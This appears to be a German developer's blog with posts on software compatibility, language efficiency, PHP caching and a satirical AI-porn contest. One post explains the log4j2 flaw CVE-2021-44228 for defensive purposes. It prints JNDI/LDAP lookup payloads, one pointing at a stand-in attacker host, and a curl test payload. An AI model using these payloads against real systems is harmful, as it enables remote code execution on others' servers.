KI – der nackte Wahnsinn

Ich schreibe einen kleinen Programmierwettbewerb aus. Zu gewinnen gibt es einen rosafarbigen Pokal in Dildoform, den ich aus naheliegenden Gründen nicht abbilde.

(Symbolbild)

Wir befinden uns in einer nahen Zukunft. Die KI-basierte Software namens „YourPorn 1.0“, die ihr entwickelt habt, ermöglicht es, ein paar (nackige) Selfies von sich selbst hochzuladen, ein paar Schlagworte einzugeben, und heraus kommen die ersten 30 Sekunden eines einmaligen, individuellen, in 720p codierten Pornos mit dem User in der Hauptrolle.

Generiert von einer Video-KI, natürlich, die mit einschlägigen Trainingsdaten gefüttert wurde (und davon gibt es wahrlich genug).

Das volle, 5 Minuten lange Video in Full HD kostet dann 9,99 (es gibt natürlich auch günstige Abomodelle).

Die Teilnahmebedingungen könnt ihr mit einem ChatGPT-Prompt eures Vertrauens erfragen. Nicht vergessen: Das Wasserzeichen „KI-generiert“, damit der Quatsch nicht für Deep Fakes missbraucht werden kann.

Ich bin gespannt!

In eigener Sache: „Spiele programmieren mit Godot“

Nach mehrmonatiger Arbeit ist mein neues Buch erschienen. Es richtet sich an Programmiereinsteiger, obwohl/weil es u.a. auch das Single-Responsibility-Prinzip erklärt – ja, das ist auch bei Spielen sinnvoll.

Das Buch ist überall zu haben, wo es Bücher gibt, und im Verlagsshop.

Allgemeine Beschimpfung endender Kompatibilität

Am 24. Oktober beendet Whatsapp die Unterstützung für Geräte mit Android-Versionen unter 5. Wer ein Smartphone besitzt, für das es keine neuere Android-Version als 4 Punkt irgendwas gibt, steht vor der Wahl, das Gerät wegzuschmeißen und ein neues zu kaufen, oder alle seine Freunde zu verlieren.

Whatsapp begründet den Schritt mit fehlenden Sicherheitsupdates für die alten Versionen, fehlender Unterstützung für App-Features (hier würden mich mal die Details interessieren) und weil kaum noch jemand solche alten Geräte verwendet.

Im Mülleimer ist noch Platz!

Natürlich verwenden nur noch 0,00000irgendwas Prozent aller Android-Nutzer so alte Geräte, aber in absoluten Zahlen dürften das trotzdem nicht wenige sein. Ein zwar altes, aber grundsätzlich noch funktionierendes Gerät muss also auf den Elektromüll geschmissen werden, weil die Whatsapp-Entwickler keine Lust mehr haben, die App-Unterstützung für Android 4 weiter zu gewährleisten, sprich: sich mit alten Bibliotheken oder Sicherheitslücken herumzuschlagen. Irgendwo verständlich, klar.

Denn die Ursache des Übels liegt natürlich nicht bei den Entwicklern von Whatsapp, sondern bei denen von Android.

Wie selbstverständlich muss jedes Jahr eine tolle neue better-than-ever Android-Version auf den Markt kommen! Und um zu kaschieren, dass diese für die meisten Nutzer eigentlich keine nennenswerten Verbesserungen bringt, ändert man immer wieder das Design und behauptet, dass die Version noch sicherer ist als die vorherige. Was ja auch stimmt.

Bloß: Es spräche ja nichts dagegen, die Sicherheitsprobleme der vorherigen Version einfach durch Updates zu beseitigen. Bei LTS-Versionen von Linux-Betriebssystemen funktioniert das ja auch schon viele Jahre lang (und Android ist ein Linux). Würde man effizienter, modularer programmieren (und keine Bloatware installieren), wäre auch auf älteren Geräten mit wenig Speicher noch genug Platz für alles. Sicherheitspatches erfordern wohl kaum Megabyteweise neuen Binärcode!

Hach, sie können ja nicht anders

Da bekanntermaßen Hardware-Hersteller überhaupt kein Interesse daran haben, ihren Kunden zu ermöglichen, ältere Geräte länger zu nutzen, verschwenden die natürlich keine Entwicklerressourcen an solche Upgrades. Lieber springen sie auf den Google-Zug auf und bringen jedes Jahr eine neue Geräte-Generation, die eine noch tollere Kamera hat, ein noch größeres Display, ein noch hübscheres Notch oder das man in den Pool mitnehmen oder falten kann, denn das ist es ja, was wir Menschen unbedingt brauchen. Inzwischen gibt es auf diesem Planeten grob geschätzt 14 Milliarden Smartphones, jeder erwachsene Mensch besitzt also längst weit mehr als zwei (plus Tablets). Mehr als die Hälfte ist also überflüssig.

Letztlich reden wir hier von einer Ressourcenverschwendung, die das Gegenteil von nachhaltig ist und einen Material- und Energieverbrauch mit sich bringt, der in einer Welt, die vor dem Klimakollaps steht, verboten gehört. Aber die Anbieter haben ja keine Alternative: Wenn sie keine neuen Betriebssysteme oder Geräte verkaufen können, entfallen schlicht die Einnahmen und sie müssen den Laden dicht machen. Helfen könnte bei Betriebssystemen ein Abo-Modell. Gibt’s ja in anderen Branchen auch. Neue, noch leistungsfähigere Hardware ist unnötiger Schein-Fortschritt auf Kosten des Planeten. Das ist krank.

Nur ein paar Beispiele

Bei Apple ist es übrigens nur ein bisschen besser. Für mein 11 Jahre altes, aber noch tadellos funktionierendes MacBook Air, gibt es kein aktuelles MacOS X mehr, und das anstehende Update für den Chrome-Browser installiert sich nicht unter dem alten OS. Folglich bin ich fürderhin gezwungen, einen veralteten Browser zu verwenden, mir einen anderen zu suchen oder das Gerät zu ersetzen.

Noch mehr Beispiele? Ein kleines noch aus eigener Erfahrung: Beim letzten größeren Linux-Kernel-Upgrade musste ich meinen tadellos funktionierenden, nur wenige Jahre alten WLAN-Stick ersetzen, weil der Treiber für den enthaltenen Chip aus dem Kernel entfernt worden war. Wer trifft eigentlich solche rücksichtslosen Entscheidungen, die letztlich beim Endkunden Kosten und Elektromüll verursachen?! Wer trägt die Verantwortung, wem kann ich die Rechnung schicken, wem das Altgerät zwecks umweltgerechter Entsorgung?

Der Gipfel der Ressourcenverschwendung und des Hardware-Wegwerf-Wahns ist übrigens gar nicht Android, sondern Windows. Version 11 kann bekanntlich (normalerweise) nur auf Rechnern mit einem spezifischen Hardwaremodul installiert werden. Sobald also der Support für Windows 10 endet (14. Oktober 2025), müssen alle PCs ohne dieses Modul sicherheitshalber weggeschmissen werden, weil es keine Lücken-Updates mehr gibt (und Windows 10 ist voller Lücken, ach übrigens: Mit Linux kann man solche PCs noch lange weiter betreiben!). Wie viele Geräte da auf den Schrott wandern werden (oder willkommene Opfer für Verschlüsselungstrojaner werden), wage ich nicht zu schätzen.

EDIT: Inzwischen sind zwei weitere prominente Fälle aus dem Android-Bereich bekannt geworden: Die ZDF Mediathek und Youtube laufen nicht mehr unter Android 5. Immerhin verweisen beide Apps auf „Im Browser öffnen“. Was ein bisschen lächerlich ist, denn der läuft ja auch auf dem Gerät, warum dann nicht die Apps, die ja einfach in einem Chrome Webview laufen könnten?!

Diese Funktion ist @Deprecated, weil ich den Namen nicht mehr cool fand

Nicht unerwähnt bleiben soll der Aufwand, den uns als Entwickler jeder endende Software-Upgrade-Pfad aufzwingt. Jede Anwendung verwendet ja irgendwelche Bibliotheken, die ihrerseits gewisse Systemanforderungen haben. Schlicht ausgedrückt: Sobald eine neue Version von ir-gend-was.jar eine Änderung an unserem Code oder gar an den Systemvoraussetzungen unserer Anwendung ändert, müssen wir zwingend aktiv werden – aber niemand bezahlt diesen Aufwand! Diese Kosten – Zeit, Personal, Energie – müssen in unser Produkt von vornherein eingepreist werden, obwohl sie gar nicht seriös kalkuliert werden können, weil sie nicht einmalig anfallen wie der Kaufpreis, sondern laufend.

Und solche Anpassungen müssen wir dauernd machen: Nicht nur bei Android-Apps, wenn Google z.B. verlangt, dass wir die Billing-Library Version 5 für In-App-Käufe verwenden müssen, ansonsten dürfen wir unsere App nicht mehr updaten. Natürlich hat sich die API geändert, also müssen wir Dokus lesen und Codeanpassungen vornehmen, meist ohne dass unsere App dadurch auch nur einen Euro mehr Einnahmen erzeugt. Unverschämtheit!

Oder man denke an PHP-Skripte, die nicht mehr funktionieren, weil der Zugriff auf unbekannte Array-Keys seit PHP 8 standardmäßig eine Warnung statt eine Notice auswirft. Noch schlimmer waren nur die grundlegenden Änderungen am MySQL-Treiber, der alle vorherigen Funktionsnamen änderte. Welche Aufwände das weltweit verursacht hat, und wie viele PHP-Skripte seitdem einfach nicht mehr funktionieren, weil sich niemand darum kümmert, kann niemand schätzen. Nichts gegen Produktpflege, Refactoring, Bugfixing oder von mir aus Verschönerung einer API. Aber wenn man weiß, dass andere Entwickler davon abhängig sind, und eine abwärtsinkompatible Änderung Aufwände verursacht, die man selbst ja nicht hat und deshalb ein Problem anderer Leute sind, dann ist man schlicht ein rücksichtsloser Energieverschwender. Ach übrigens: Wenn man von vornherein seine Software sauber konzipiert, braucht man hinterher weniger zu ändern! Buchempfehlung siehe rechts. Und ansonsten hat man gefälligst die Bedürfnisse des Rests der Welt über die eigenen zu stellen.

Ich verlange daher zeitlich unbegrenzten Update-Support für alle Betriebssysteme wie Linux, Android, Windows, MacOS sowie für alle Open-Source-Software-Bibliotheken und -Plattformen. Neue Features können jederzeit hinzugefügt werden (bitte modular, so dass sie nur dann automatisch nachgeladen werden, wenn gewünscht bzw. wenn der Hardware-Support vorhanden ist), aber niemals dürfen vorhandene Funktionen entfernt oder geändert werden. Tatsächlich hat diese Herangehensweise einen immensen Vorteil: Es muss nur noch eine Software-Version gepflegt und mit Sicherheitsupdates versorgt werden, nämlich die aktuelle. Weniger Stress = mehr Zeit für besseres Coden!

tl;dr: Be smart, stay compatible.

Die Komma-Falle

Es war einmal … nein, kein Komma. Ein harmloser Software-Entwickler.

Seine Aufgabe bestand darin, eine aus irgendeinem Tool exportierte XML-Datei zu laden und in Java-Objekte zu serialisieren.

In einer Beispiel-Datei (ein Schema oder eine Doku wurden nicht zur Verfügung gestellt) stand zum Beispiel so etwas wie das hier:

<numFiles>712</numFiles>

Das ist ja ganz einfach, man schreibt sich eine Model-Klasse:

public class Whatever {
  ...
  private long numFiles;
  ...
  // getter und setter
}

Schlau, wie wir sind, nehmen wir long, nicht int, denn man weiß ja nie, von was für Dateimengen hier die Rede ist.

Man kann Jackson benutzen, um aus dem XML ein Java-Objekt zu machen:

XmlMapper xmlMapper = new XmlMapper();
Whatever whatever = xmlMapper.readValue(new File(filePath), Whatever.class);

Der Code funktionierte einwandfrei. Er lief (gefühlt) jahrelang problemlos.

Bis eines schönen Tages an einem Freitag dem 13. jemand einen Fehler meldete: Eine seiner XML-Dateien könne nicht geladen werden. Das Programm habe wohl einen Fehler.

Es gab ja keine Codeänderung, also musste es an der fraglichen XML-Datei liegen.

In der Datei fand sich nun folgendes:

<numFiles>2,315</numFiles>

Das ist aus Sicht des XML-Parsers natürlich kein Long, sondern ein String oder (bestenfalls, falls englische Locale voreingestellt ist) ein Double.

Wer zum Kuckuck schreibt einen numerischen Wert in eine XML-Datei mit Tausendertrennzeichen?!

Dazu gibt’s nur einen möglichen Kommentar:

#fail

In diesem Sinne, mögen euch unnötige Kommas erspart bleiben!

Was Entwickler jetzt über die log4j2-Schwachstelle wissen müssen [CVE-2021-44228]

Die Schwachstelle CVE-2021-44228(Apache Log4j Remote Code Execution im beliebten Java-Logging-Framework log4j2 füllt seit dem 10. Dezember die Kommentarspalten und bringt Admins um ihren wohlverdienten Schlaf. Entdeckt wurde es übrigens zuerst auf anfälligen Minecraft-Servern. Dieses Posting erklärt die Schwachstelle für Entwickler einmal in aller Ruhe auf Deutsch – und gibt ein paar Handlungsempfehlungen.

Die Schwachstelle

log4j2 hat ein Feature namens Lookups. Unwahrscheinlich, dass das jemand meiner Leser bereits je verwendet hat, deshalb erkläre ich es nur extrem kurz: Man kann damit Daten aus einer externen Quelle abrufen und mit loggen. Dazu muss ein Makro wie ${…} geloggt werden (oder im Logging-Pattern stehen). Die Schwachstelle besteht nun darin, dass auch ein Lookup (Nachladen) einer Klasse über JNDI möglich ist, und das auch auf einem beliebigen LDAP-Server, etwa so:

"${jndi:ldap://horrible-ldap-server.whatever.com:1389/a}"

Hierüber kann der Anwendung beliebiger Java-Code untergejubelt werden, der vom LDAP-Server des Angreifers geladen und (wenn er im static{…}-Bereich der Klasse steht) beim Loggen geladen und ausgeführt wird. Zum Beispiel ein Kryptominer, was noch einer der harmloseren vorstellbaren Fälle ist. Der Code kann aber auch einen Remote-Login öffnen oder alle Daten abgreifen, die für den User, mit dessen Rechten Ihre Anwendung läuft, erreichbar sind. Aua.

Unter Android funktioniert das Feature nicht, allerdings sind auf einem Smartphone Angriffsmöglichkeiten ohnehin schwer vorstellbar. Ähnliches gilt für Kommandozeilen- oder Desktop-Anwendungen: Solange kein Angreifer in irgendeiner Form darauf zugreifen kann, kann er die Maschine auch nicht kompromittieren, auf der das Programm läuft.

Gefährdet sind also Webanwendungen mit von außen zugänglichen Schnittstellen.

Davon gibt es freilich beliebig viele im Netz. Sind Sie für eine zuständig? Dann lesen Sie weiter!

Da eingeschleuste Kryptominer der einfachste und einträglichste Fall eines Angriffsszenarios sind, können wir schlussfolgern, dass die Last in betroffenen Rechenzentren steigen wird, also auch der CO2-Ausstoß. Soweit kein Ökostrom verbraucht wird, bereichern sich die Angreifer also persönlich auf Kosten weiterer Klimaerwärmung. Jeglicher Hass ist da berechtigt. Hilft aber nicht. Also weiter im Text:

Typische Fälle

Da ein Angreifer schwerlich den bösartigen String nach obigem Beispiel höchstpersönlich in unsere log4j-Konfigurationsdatei schreiben kann, muss er versuchen, unsere Anwendung dazu zu bringen, den String zu loggen.

Angenommen, wir haben eine Webanwendung mit einem Login-Formular, das per HTTP POST den eingegebenen Usernamen und das Passwort an eine Funktion übermittelt, dann dürfte gar nicht mal so selten folgendes im Code stehen:

logger.info("Login-Versuch mit username {}", username);

Sobald der Angreifer nun einen POST-Request abwirft, in dem der böse String als username steht, wird dieser an Log4j2 übergeben und das üble Geschehen beginnt. Dabei ist es leider egal, ob Sie die oben gezeigte (und richtige) Methode mit dem {}-Platzhalter verwenden oder ein simples +-Zeichen.

Der Fehler passiert in allen drei folgenden Fällen:

String username="${jndi:ldap://127.0.0.1:1389/Exploit}";
logger.error("Login-Versuch mit username {}", username);
logger.error("Login-Versuch mit username " + username);
logger.error(username);

Allerdings hängt das Verhalten vom Log-Level ab: Wenn das konfigurierte Log-Level höher eingestellt ist als das im Code verwendete, wird überhaupt nichts geloggt und auch die schädliche JNDI-Auflösung entfällt. Sie müssen also nur auf Logging achten, das auf Ihrer Produktiv-Instanz aktiv ist, und das sind hoffentlich nur INFO und höher, nicht die ganzen TRACE und DEBUG, mit denen Ihr Code im Entwicklermodus gesprächig gemacht wurde.

Wenn Sie den Exploit selbst nachvollziehen wollen, schauen Sie sich den Proof of Concept bei Github an. Dieser startet einen einfachen HTTP-Server (mittels Python), der die „bösartige“ Klasse Exploit.class als Binärdaten ausliefert und einen simulierten Ldap-Server, der auf localhost:8888 horcht (mittels dieses Pentesting-Tools). Wenn Log4j2 den LDAP-Server erreichen kann, wird der ${…}-String durch etwas anderes ersetzt, was Sie dann im Log sehen können, wenn die Anwendung angreifbar ist. Standardmäßig versucht die Klasse Exploit übrigens, einen Taschenrechner zu starten, aber es ist nur eine Fallunterscheidung Windows/Mac enthalten, auf einem Linux-System passiert also rein gar nichts. Sie können natürlich ein eigenes Test-Executable einsetzen, oder irgendein eigenes Logging ausführen, damit nicht dauernd neue Taschenrechnerfenster erscheinen. Nötig ist das nicht, weil Sie die Anfälligkeit auch anhand der Log-Ausgabe erkennen können:

10:01:11.355 [main] ERROR de.bessercoden.demos.Log4jExploitDemo - Reference Class Name: foo

Fragen Sie mich nicht, woher dieser Text stammt, das habe ich nicht weiter erforscht – entscheidend ist, dass bei vorhandener Vulnerability nicht ${jndi:ldap://127.0.0.1:1389/Exploit} erscheint, sondern eben etwas anderes.

Rufen Sie Ihren eigenen Webservice mit curl und einem „giftigen“ Parameter auf, um zu schauen, was im Logfile erscheint. Um das zu tun, erzeugen Sie eine Datei testpayload mit folgendem Inhalt:

key=${jndi%3aldap%3a//127.0.0.1%3a1389/Exploit}

Die Doppelpunkte müssen hier escaped werden. Der zu testende Webservice-Parameter wäre hier key. Dann verwenden Sie: curl -d @testpayload „http://ihr-webservice/endpoint“

Beobachten Sie das Logfile.

Falls Sie HTTP-Header loggen, denken Sie daran, dass auch diese manipuliert sein können, nicht nur Parameter.

Was tun?

Als Entwickler sollten Sie zunächst prüfen, ob Ihre Anwendung log4j2 überhaupt verwendet. Schauen Sie dazu zunächst in die effektiven Abhängigkeiten Ihres Projekts (mvn dependency:tree | grep log4j). Natürlich kann es sein, dass eine Drittkomponente diese Abhängigkeit mitbringt. Beispielsweise tun das Springboot-Projekte nicht, wenn sie auf dem Parent springboot-starter-web basieren, diese Projekte verwenden log4j Version 1, die nicht betroffen ist (und slf4j, aber das ist egal).

Wenn Sie selbst explizit log4j2 verwenden, haben Sie vermutlich eine Dependency explizit deklariert, meist etwa so:

<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.14.1</version>
</dependency>
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-api</artifactId>
  <version>2.14.1</version>
</dependency>

Ändern Sie einfach die Versionsnummer in 2.15.0 und starten Sie einen clean build und testen Sie erneut.

Bäh, Featuritis!

Kleiner Abschlussrant. Ursache für den #epicfail ist in meinen Augen „Featuritis“: der naive Antrieb vieler Entwickler, dauernd neuen Kram in eine eigentlich fertige Software einzubauen, den fast niemand braucht – der aber standardmäßig eingeschaltet ist. Man muss noch nicht einmal auf die (eigentlich naheliegende) Idee kommen, dass ein Angreifer ein Feature wie „irgendeine Klasse per LDAP laden“ auf fatale Weise ausnutzen könnte. Features, die voraussichtlich 99% der Nutzer (hier: Entwickler) nie brauchen, gehören in Erweiterungsmodule, nicht in den Basiscode. Die Regel dahinter ist KISS: Keep it simple, stupid!: Nur wirklich benötigte Daten (hier: Code) sollten sich in einem Projekt befinden, damit es schlank, schnell und in diesem Fall eben auch unanfällig für Angriffe ist.

Viel Erfolg bei der Bekämpfung der Angreifer!

Coden, aber effizient!

Wir leben im digitalen Zeitalter (na gut, die meisten von uns), und langsam aber sicher wird vielen Entscheidern klar, dass die AWS-Cloud (oder ihre Verwandten) nicht nur total praktisch ist, sondern auch eine ganze Menge Energie verbraucht. Schätzungen sprechen von bis zu 20% des Energieverbrauchs der ganzen Welt. Wohlgemerkt sind Anwendungen in der Cloud immer noch sparsamer als eigene Rechenzentren mit Servern aus Blech, die 24 Stunden an der Steckdose nuckeln, aber beispielsweise nur tagsüber benötigt werden. Cloud-Instanzen sind üblicherweise „shared“ und verbrauchen nur dann Energie, wenn benötigt. Trotzdem bedeuten mehr Cloud-Instanzen natürlich auch mehr Energieverbrauch (und CO2-Ausstoß, sofern das Rechenzentrum keinen grünen Stromanschluss besitzt).

Tatsächlich können wir die Frage nach dem Energieverbrauch auch Codern und Software-Architekten stellen: Benötigt euer Software-System wirklich 10 Instanzen und 3 Datenbanken? Muss für eine eher simple Anwendung 1 GB RAM reserviert werden und die Kiste mit dem fettesten Prozessor oder darf es ein bisschen weniger sein? Sollte der Energieverbrauch einer Plattform vielleicht sogar zu den Entscheidungskriterien gehören?

Der Vergleich

Für die 2. Auflage meines Buchs „Besser coden“ habe ich ein Kapitel über effizienten Code geschrieben – und ein paar Messungen durchgeführt. Dazu habe ich eine relativ einfache Webanwendung in mehreren Sprachen geschrieben und Aspekte wie Performance, Ressourcenverbrauch und Anspruch an Entwickler verglichen. Letzteres ist nicht zu unterschätzen: Spart eine Technologie Speicher, aber Sie finden keinen Entwickler, der sie beherrscht, bleibt ihr tolles Softwaresystem graue Theorie.

Es traten an:

  • Java 13 und Spring Boot, das beliebte Framework für Webservices
  • PHP 7.4, eine bewährte, einfache Skriptsprache mit Cache APCu
  • Rust 1.52 und Actix Web, eine ziemlich neue Sprache samt passendem Webservice-Framework
  • sowie quasi als Online-Bonus (nicht im Buch) Go.

Der Webservice besitzt nur einen einzigen Endpoint, der dafür gedacht ist, ein Wort gegen eine hinterlegte Liste zu prüfen. Eine solche Funktion ist beispielsweise in einem Scrabble-Spiel nötig: Ist das gelegte Wort erlaubt oder nicht? Das Ergebnis wird dabei als JSON-Antwort formuliert.

Die Liste ist absichtlich nicht in einem ausgewachsenen Datenbanksystem hinterlegt, denn ich möchte nicht die Effizienz unterschiedlicher RDBMS bewerten, sondern die von Software-Plattformen. Daher lädt die zu schreibende Anwendung die Wortliste beim Start aus Textdateien und hält sie dann im RAM. Im Test enthielt diese Liste knapp 180.000 Einträge. Im Fall von PHP erfordert eine solche Vorgehensweise zwingend den Einsatz eines Caches (hier verwendet: APCu), um die Dateien nicht bei jedem Aufruf des Skripts erneut laden zu müssen.

Die Rechenzeit habe ich mit dem Apache Benchmark ab gemessen, einmal einen Einzelrequest und einmal 10.000 auf einmal in sechs parallelen Threads, um die Leistung im Parallel Processing zu bestimmen.

Den Code finden Sie in Grundzügen in meinem Buch (bis auf die Go-Version). Hier fasse ich Ihnen nur die Ergebnisse zusammen:

Java/Spring BootPHP/APCuRust/ActixGo
RAM-Verbrauch50 MB200 MB0,9 MB24 MB
Anwendungsgröße19 MB (JAR)372 Bytes (Skript)8,4 MB (binär)7,1 MB (binär)
Zeit 1 Aufruf1,8 ms0,9 ms0,4 ms0,5 ms
Zeit 10.000 Aufrufe1,1 s0,6 s0,5 s0,5 s
Startup-Dauer2,5 snicht messbar53 ms75 ms
Buildtime7,4 sentfällt69 s1 s
Coding-Anspruchleichtsehr leichtschwierigmittel

Sie sehen, dass das rein binäre Rust-Programm zur Laufzeit am schnellsten und genügsamsten ist – aber finden Sie mal einen Rust-Entwickler auf dem Jobmarkt oder lernen Sie die Sprache „mal eben“! Ich hab letzteres versucht und brauchte mehrere Packungen Schokokekse, um die spezielle Speicherverwaltung zu kapieren. Die lange Buildtime ist dabei dem anspruchsvollen Compiler- und Linker-Vorgang geschuldet.

Abgesehen vom RAM-Verbrauch ist PHP unter dem Strich wohl die effizienteste Lösung. Aber viele Entwickler scheuen sich davor, größere Projekte in PHP anzulegen – die fehlende starke Typisierung und die immer über uns Entwicklern schwebende Versuchung, spaghettimäßig PHP- und HTML-Code zu mixen, sowie ein paar Fallen wie vergessenes $this->, sind klare Minuspunkte. Dafür ist die Turnaround-Zeit Null: Skript nur speichern, schon ist es bereit zum Aufruf per HTTP.

Java ist nicht ohne Grund sehr beliebt. Aber die Java-Runtime, so optimiert sie mittlerweile auch ist, geht alles andere als sparsam mit Ressourcen um und ist merklich langsamer als die Binärcode-Konkurrenz (auch PHP verwendet dank Zend-Engine letztlich Binärcode). Ein Maven-Buildprozess lädt gefühlt mehrmals täglich das halbe Internet runter. Dafür ist der Code (speziell mit Spring Boot) aufgeräumt und vergleichsweise leicht zu debuggen. Große Projekte mit komplexer Geschäftslogik sind in Java wohl vergleichsweise am lesbarsten abzubilden.

Fazit

Sie sehen: Es gibt keine Lösung, die gleichzeitig einfach und technisch effizient ist. Sie müssen immer abwägen: Lohnt es sich, in eine hocheffiziente, moderne Technik wie Rust oder Go zu investieren? Oder setzen Sie auf eine bewährte und
einfache Technik wie Java und nehmen in Kauf, dass Sie mehr
Server benötigen (und Energie verbrauchen), wenn mehr Rechenpower erforderlich ist? Gerade bei neuen Projekten ist es sicher eine gute Idee, über diese Fragen zu diskutieren. Denn später können Sie die Plattform nicht mehr einfach ändern.

So bleiben vermutlich noch auf Jahre oder Jahrzehnte Java-Webservices
und PHP-Skripte state of the art – obwohl mit Rust oder Go, C++20, D …
technisch hochmoderne und extrem effiziente Konkurrenzprodukte be-
reitstehen.

Mein Dank für die Mitarbeit geht an Marcus Schlechter.

Wie Spaghetti ist PHP?

Wer kennt sie nicht, die Sprache von WordPress? Laut Statistiken laufen um die 30% aller Webseiten (auch diese) auf WordPress – und damit mit der 25 Jahre alten Skriptsprache PHP (freilich vermixt mit einer gehörigen Portion HTML, Javascript und CSS). Also nicht Java, nicht C# … sondern PHP. Insgesamt kommt PHP sogar auf einen Anteil von 79% aller Webseiten, deren verwendete Plattform bekannt ist, behauptet W3Techs.

PHP – eine Sprache, die Spaghetticode geradezu herbeisehnt, denn damit können sogar Anfänger innerhalb von Sekunden dynamische Webseiten schreiben, mit Datenbank-Anbindung, Formular-Sanitychecks und haufenweise Sicherheitslücken.

Nun ja, die Situation hat sich gebessert, seit URL-Parameter nicht mehr automatisch als Variablen wie $param zur Verfügung stehen – trotzdem verleitet die Natur der Sprache zur Beimischung von HTML wie hier:

foreach($angebote as $angebot) { print "<div>$angebot</div>";}

Ups, heute leider keine Angebote:

Na ja. Kann ja mal passieren.

Hinweisen wollte ich hier eigentlich nicht auf schlechte Fehlerbehandlung, sondern auf etwas anderes: HTML-Code in String-Literalen ist aus Sicht der Entwicklungsumgebung meist irgendein Text. Folglich findet darin keine Validierung statt. Ein versehentlicher, unbemerkter Tastendruck innerhalb des Strings kann die Darstellung der Webseite komplett zerschießen, ohne dass Sie, Ihre Entwicklungsumgebung oder PHP es bemerken (klar gibt es Unit-Tests für PHP, aber ich fürchte, allzu verbreitet sind die nicht). Dass man dergleichen mit einer Template-Engine umgehen kann, die HTML- und PHP-Code in getrennten Dateien verwaltet, dürfte den meisten Lesern klar sein – aber das ist natürlich viel umständlicher und nicht so schnell fertig.

Mit strukturierter (also aufwändigerer, zukunftssicherer) Programmierung ernten Sie als Früchte eine ganze Reihe Vorteile von PHP:

  • Minimaler Footprint auf dem Server (ein paar Textdateien, nicht megabyteweise Java-Libs)
  • Hohe Performance (dank Codecache und bei schlauer Programmierung, siehe dazu weiter unten)
  • Turnaround-Zeit ist 0 (Zeit zwischen Speichern einer PHP-Datei und HTTP-Aufruf gegen localhost zum Testen)
  • Und nicht zu vergessen: Hohe Verbreitung in der Community, also ist es leicht, Unterstützung zu finden.

Fairerweise seien ein paar Nachteile genannt:

  • Vergleichsweise hoher RAM-Bedarf
  • Keine strenge Typisierung
  • Objektorientierte Programmierung leicht nervig (ich vergesse dauernd das $this->, Sie auch?)
  • Verleitet zu unsauberer Programmierung durch globale Variablen, prozedurales Coden und verschachtelte includes
  • Größere Updates erforderten in der Vergangenheit größere Umbauten (z.B. MySQL-Funktionen), so dass viele Webseiten nie upgedated wurden, weil der Aufwand nicht lohnt → eine solche radikale Update-Policy führt dazu, dass viele Nutzer ihre Systeme nicht updaten und damit Sicherheitslücken bestehen bleiben

Zur oben erwähnten „schlauen Programmierung“ ein kleiner Info-Drops: Im Gegensatz zu einer Java-Anwendung, die einmal hochfahren muss, ist ein PHP-Skript zunächst einmal „stateless“, es kennt also keine globalen Daten bzw. muss sich alles selbst zusammensuchen, was es braucht. „Weniger schlaue“ Programmierung würde hier bedeuten, etwaige benötigte Daten beim Start des Skripts aus Dateien oder Datenbank nachzuladen. Bei jedem Start des Skripts. Das ist natürlich ineffizient. Stattdessen können Sie den In-Memory-Cache APCU verwenden, der wie ein Key-Value-Store im RAM funktioniert und daher extrem performant ist und im Gegensatz zum ebenfalls bewährten Memcached keine externe Komponente benötigt. Wir versuchen also mal im folgenden Beispiel beim Start des Skripts, einen benötigten Wert ($words) aus dem Cache zu holen. Sollte er fehlen (also beim allerersten Start), laden wir ihn aus irgendwelchen Dateien und speichern ihn im Cache:

if(apcu_exists("words")) { 
  $words=apcu_fetch("words");
} else { 
  $words = load_words_from_file("irgendwelche_woerter.txt");
  apcu_add("words",$words);
}
// es folgt der Code, der $words benötigt

Der Performancegewinn ist erheblich, wovon Sie sich leicht selbst überzeugen können, wenn Sie Test-Requests auf ein solches Beispiel loslassen. Um auch mal mehrere Requests auf einmal abzufeuern, können Sie übrigens den Apache Benchmark ab verwenden, etwa so:

ab -c 6 -n 10000 http://localhost/test.php?input=Hurra

Mit den gezeigten Parametern führt ab 10.000 Requests gegen die übergebene Adresse aus, und zwar in 6 parallelen Threads (seien Sie fair und überlassen Sie PHP/Apache auch ein paar, meine Maschine hat 12 Kerne, daher Fifty-Fifty). Das Tool gibt dann eine ausführliche Statistik über die Performancemessung aus:

Concurrency Level: 6
Time taken for tests: 0.629 seconds
Complete requests: 10000
Failed requests: 0
Non-2xx responses: 10000
Total transferred: 1850000 bytes
HTML transferred: 0 bytes
Requests per second: 15901.99 #/sec
Time per request: 0.377 ms
Time per request: 0.063 [ms] (mean, across all concurrent requests)
Transfer rate: 2872.92 [Kbytes/sec] received

Sie sehen: Ja, auch in PHP kann man strukturiert, effizient und sauber programmieren – aber PHP zwingt Sie nicht zu Disziplin, das müssen Sie schon selber tun. Empfehlenswert sind daher z.B. im Team knackige Code-Reviews und zielführende Mikroarchitektur-Debatten, um für porentief reinen Programmierstil zu sorgen.

tl;dr: PHP ist schnell und effizient, aber passen Sie auf, dass Sie keinen Spaghettisalat produzieren.

Prohibition für Saugrobby!

Was muss ich da lesen? Besoffene Saugroboter?

Jetzt mal unabhängig von der Frage, ob es schlimm oder lustig ist, wenn Saugrobby wie ein verwirrter Hamster immer im Kreis fährt oder länger als sonst zum Reinigen der Wohnung braucht: Kann ja mal passieren, dass beim Abschlusstest eines Updates irgendwas übersehen wird, nicht wahr?

Ich will auch gar nicht über schlechte Testbarkeit meckern oder spekulieren, wie hoch die technische Schuld der womöglich nicht tip-top sauberen Software der betroffenen Roombas des Herstellers iRobot ist (dear iRobot, if you need help here, drop me a message!). Aber der Anlass ist willkommen für die regelmäßige Erinnung an die inhärente Fehlerfortpflanzung bei Software:

Menschen machen nunmal Fehler, das ist menschlich. Unterläuft beispielsweise einem Frisör ein Fehler, rennt hinterher ein Kunde mit doofen Haaren herum. Unterläuft einem Programmierer ein Fehler, so sind viel, viel mehr, schlimmstenfalls Millionen Nutzer betroffen, nämlich alle, die diese Software verwenden oder den fraglichen Code bei einer Sitzung auf einer Cloud-Instanz durchlaufen, falls es sich um eine Webanwendung handelt.

